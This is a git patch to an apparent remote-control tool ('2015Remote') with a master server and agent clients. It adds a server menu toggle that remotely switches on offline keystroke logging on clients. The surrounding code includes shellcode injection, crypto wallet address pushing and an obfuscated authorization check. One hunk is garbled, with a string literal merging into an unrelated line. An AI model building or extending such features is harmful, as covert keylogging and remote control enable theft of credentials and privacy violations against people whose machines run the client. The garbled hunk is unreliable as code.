From 3270527dd0df9610c59676522a3af6b7708835db Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 27 Nov 2025 23:00:20 +0100 Subject: [PATCH] Feature: Add parameters setting menu for master program --- client/KernelManager.cpp | 9 +++++++-- common/commands.h | 4 ++++ server/2015Remote/2015Remote.rc | Bin 105622 -> 105836 bytes server/2015Remote/2015RemoteDlg.cpp | 17 ++++++++++++++++- server/2015Remote/2015RemoteDlg.h | 1 + .../2015Remote/2015Remote_vs2015.vcxproj.user | 2 ++ server/2015Remote/resource.h | Bin 55200 -> 55380 bytes 7 files changed, 30 insertions(+), 3 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index ab8e052..4ff1d0f 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -17,6 +17,7 @@ #include "IOCPKCPClient.h" #include "auto_start.h" #include "ShellcodeInj.h" +#include "KeyboardManager.h" // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) @@ -584,14 +585,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } break; case CMD_MASTERSETTING: - if (ulLength > sizeof(MasterSettings)) { - memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); + if (ulLength > MasterSettingsOldSize) { + memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "wallet", m_settings.WalletAddress); CManager* pMgr = (CManager*)m_hKeyboard->user; if (pMgr) { pMgr->UpdateWallet(m_settings.WalletAddress); } + if (m_settings.EnableKBLogger && m_hKeyboard) { + CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user; + mgr->m_bIsOfflineRecord = TRUE; + } } break; case COMMAND_KEYBOARD: { //键盘记录 diff --git a/common/commands.h b/common/commands.h index 2d488e5..4adbfdb 100644 --- a/common/commands.h +++ b/common/commands.h @@ -879,8 +879,12 @@ typedef struct MasterSettings { int DetectSoftware; // int UsingFRPProxy; // ǷʹFRP char WalletAddress[472]; // Wallets + int EnableKBLogger; // Since 2025-11-27 + char Reserved[496]; // Since 2025-11-27 } MasterSettings; +#define MasterSettingsOldSize 500 + #pragma pack(push, 1) // 100ֽ: + С + ÷ʽ + DLL typedef struct DllExecuteInfo { diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 32ddc0802856b2e1d87c8863ba080e6f6f0d7127..5721352ee7f8ee2c76a2e3ce7af4a110c895e81b 100644 GIT binary patch delta 66 zcmbQXlkLqewuUW?hpagd1s9}hFsLyEOb;|-be>+r%E&Q&gA${acmRVVLl6-AGQ=}@ VGdMB$F!(dLGq`V`XwAr)2mr3Z5pMth delta 17 ZcmaE}i*4FYwuUW?hpe~HuwlHC002xA2lM~{ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a9b5683..a556a16 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -534,6 +534,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) + ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) END_MESSAGE_MAP() @@ -1058,8 +1059,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog() const Validation* v = GetValidation(); if (!(strlen(v->Admin) && v->Port > 0)) { // IMPORTANT: For authorization only. + // NO NOT CHANGE: The program may not work if following code changed. PrintableXORCipher cipher; - char buf1[] = { "ld{ll{dc`{geb" }, buf2[] = {"b`af"}; + char buf1[] = { "? &!x1:xCheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED); std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; std::string str = myMap[n]; LVCOLUMN lvColumn; @@ -3913,3 +3918,13 @@ LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) { MessageBoxA(CString("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION); return S_OK; } + + +void CMy2015RemoteDlg::OnParamKblogger() +{ + m_settings.EnableKBLogger = !m_settings.EnableKBLogger; + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED); + THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger); + SendMasterSettings(nullptr); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7018775..dceb9e8 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -357,4 +357,5 @@ public: afx_msg void OnShellcodeTestAesBin(); afx_msg void OnToolReloadPlugins(); afx_msg void OnShellcodeAesCArray(); + afx_msg void OnParamKblogger(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user index 40b2c40..d211272 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.user +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user @@ -3,6 +3,7 @@ $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) WindowsLocalDebugger + -agent $(SolutionDir)Bin\$(TargetName)_x86$(TargetExt) @@ -15,6 +16,7 @@ $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) WindowsLocalDebugger + -agent 2015Remote.rc diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 058b576133d597d5639ebf649b14285857abfd3a..eec8465e4ba0d976d678532244cd4be073b21130 100644 GIT binary patch delta 86 zcmV-c0IC0=uLIPu1F$C5lTgzLlQd}>lTf?}0XLKJw>Oi()*6zh2opg7QUE~!O#oj2 sO8`OuOaM;+N0Z?O8Ij-&lhC^c12+IMvp3a^0h8nr7L$C|7?bkWu8zYX^Z)<= delta 38 wcmV+>0NMZ4umhm41F$C5li;5WlMvJdlP=W;v+&i30h5f?7Lzd77?Y;gu5Z2*H2?qr